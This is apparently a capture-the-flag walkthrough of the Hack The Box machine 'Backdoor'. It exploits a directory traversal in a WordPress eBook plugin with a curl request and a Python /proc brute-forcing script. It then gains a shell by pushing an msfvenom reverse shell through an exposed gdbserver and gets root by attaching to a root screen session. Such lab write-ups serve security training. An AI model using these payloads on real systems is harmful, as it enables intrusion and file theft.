Backdoor
is an easy Linux box. By exploiting a common vulnerability in one of Wordpress’ installed plugins, we were able to disclose arbitrary files on the system. Using this technique, we were able to gather additional information about running services on other ports. Having this additional information, it was rather easy to exploit one of the other running services and thus gain initial access to the system. Once gotten access to the user, gaining root was a trivial task.
Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ rustscan -a backdoor.htb -- -sC -sV -oN port_scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtpq3sGiUQ1jgwf7h5BE+AlYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqlKHcqMpttqJHphVA0/1dP7uoLCJlAOOWnW0K311DXkxfOiKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFItCRkvVB1G7DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFIml7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0JbCqyPFG5yziL8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0CoslyQnighQSwNaWuBYXvOLi6AsgckJLS44L8LxU4J8=
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
| 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open waste? syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We get back the following result showing that three ports are open:
- Port 22: OpenSSH 8.2p1
- Port 80: Apache httpd 2.4.41
- Port 1337: Unknown service
Port 80 - Apache Web Server (Wordpress)
Visiting the website, we see an application which was apparently built with the usage of Wordpress (as already indicated by nmap).
Screenshot of the Wordpress website (port 80)
Wordpress has several attack vectors…. one of those vectors is focussing on the installed plugins. Running a dir-scan (gobuster or feroxbuster) reveals that the listing of the installed plugins is enabled.
Installed Wordpress plugins located at /wp-content/plugins/. Directory listing is enabled
Here we can clearly see that there is only one plugin (ebook-download
) installed. A quick search on google reveals that this Wordpress plugin contains a Local File Inclusion vulnerability.
Exploit Database Entry: Wordpress Plugin eBook Directory Traversal
Apparently it’s possible to include files through the ebookdownloadurl
parameter of filedownload.php
. Following request is a PoC for including /etc/passwd
1
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../etc/passwd"
Triggering a LFI - proof of concept by including /etc/passwd
Great! We got our attack vector. Now we have to look for interesting files such as SSH keys, config files which contain passwords or even hope for something like a log poisoning vulnerability.
Initial Foothold
After several hours of skimming through the file-system, I havent found anything interesting that could help us gain access to the system as valid user. Then I remembered that there is still the open port 1337, which we couldnt figure out what it was. The next idea was thus to search the /proc
directory to find out the process ID of the running service on this port. This would hopefully give us more information about what we are dealing with. (if you are not familiar with this technique, here is a nice article that thoroughly explains what im about to do)
The idea is the following: The /proc
directory contains directories which store information about all processes running on the system. Those directories are named after the Process ID (short: PID) of the service. E.g. if we are looking for information about the process with PID “1000” then these files would be located in /proc/1000
.
The only issue is that we don’t know the PID of the exposed service on port 1337. For this reason, I wrote a short script that basically bruteforces all PIDs to look for a process whose “call” via the cmdline contains the string ‘1337’. My assumption here was that the process must have been started via the cmdline and the port was most likely specified at the start-up.
1
2
3
4
5
6
7
8
9
10
11
12
import requests
HIGHEST_PID = 30000
proc_info_template = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../proc/####/cmdline"
for x in range(0,HIGHEST_PID):
if x % 100 == 0:
print(f"[ + ] Trying PID: {x}")
r = requests.get(proc_info_template.replace('####', str(x)))
if "1337" in r.text:
print(r.text)
break
1
2
3
4
5
6
7
8
9
10
11
12
└─$ python3 exploit.py
[ + ] Trying PID: 0
[ + ] Trying PID: 100
[ + ] Trying PID: 200
[ + ] Trying PID: 300
[ + ] Trying PID: 400
[ + ] Trying PID: 500
[ + ] Trying PID: 600
[ + ] Trying PID: 700
[ + ] Trying PID: 800
[ + ] Trying PID: 900
../../../../../../../../proc/951/cmdline../../../../../../../../proc/951/cmdline../../../../../../../../proc/951/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done<script>window.close()</script>
We found it! Process 951 was started with gdbserver --once 0.0.0.0:1337
. So port 1337 exposes an instance of a gdbserver! Great! We can exploit that.
Privilege Escalation - User Backdoor
Reading the documentation of the gdbserver clearly tells us how we can remotely connect and upload files to the gdbserver. This way, we can upload a reverse shell binary which we the upload to the gdbserver for “debugging” :). Once we run the binary with the debugger, it will execute the shell binary and we get access to the system!
Creating the reverse shell binary, uploading and running the binary:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/backdoor]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o shell
gdb-peda$ target extended-remote backdoor.htb:1337
gdb-peda$ remote put shell shell
Successfully sent file "shell".
gdb-peda$ set remote exec-file shell
gdb-peda$ run
Netcat listener:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/backdoor]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.129.193.28] 57854
id && hostname
uid=1000(user) gid=1000(user) groups=1000(user)
Backdoor
There we go! We got user access. To simplify things, we can now upload our public ssh key to the authorized_keys of this user, such that we can conveniently connect to the machine via ssh. Next step is to get access to the root account!
Privilege Escalation - User Root
Going through the basic steps of priv esc, we see that the list of binaries with the SUID bit set is a bit off. Here we have an additional command screen
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user@Backdoor:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen <--- this one is typically not in this list
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec
Checking GTFObins for screen with SUID
does however not reveal anything. So something additional must be going on on the machine. The next step was therefore to check the running processes on the system. I intentionally filtered for occurrences of screen
as this was clearly the attack vector. And indeed! There was a script running that created screen sessions for root.
-d
: Start screen session in “detached mode”-m
: With “screen -m” creation of a new session is enforced, regardless whether screen is called from within another screen session or not-S
: Sessioname. This substitutes the default tty.host suffix
1
2
user@Backdoor:~$ ps aux | grep -i screen
root 952 0.0 0.0 2608 1664 ? Ss 15:25 0:04 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
As the screen binary has the SUID bit set, we can easily resume the detached root session with the following command:
1
user@Backdoor:~$ screen -r root/root
And we are root!
Printing root.txt as a proof for rooting the machine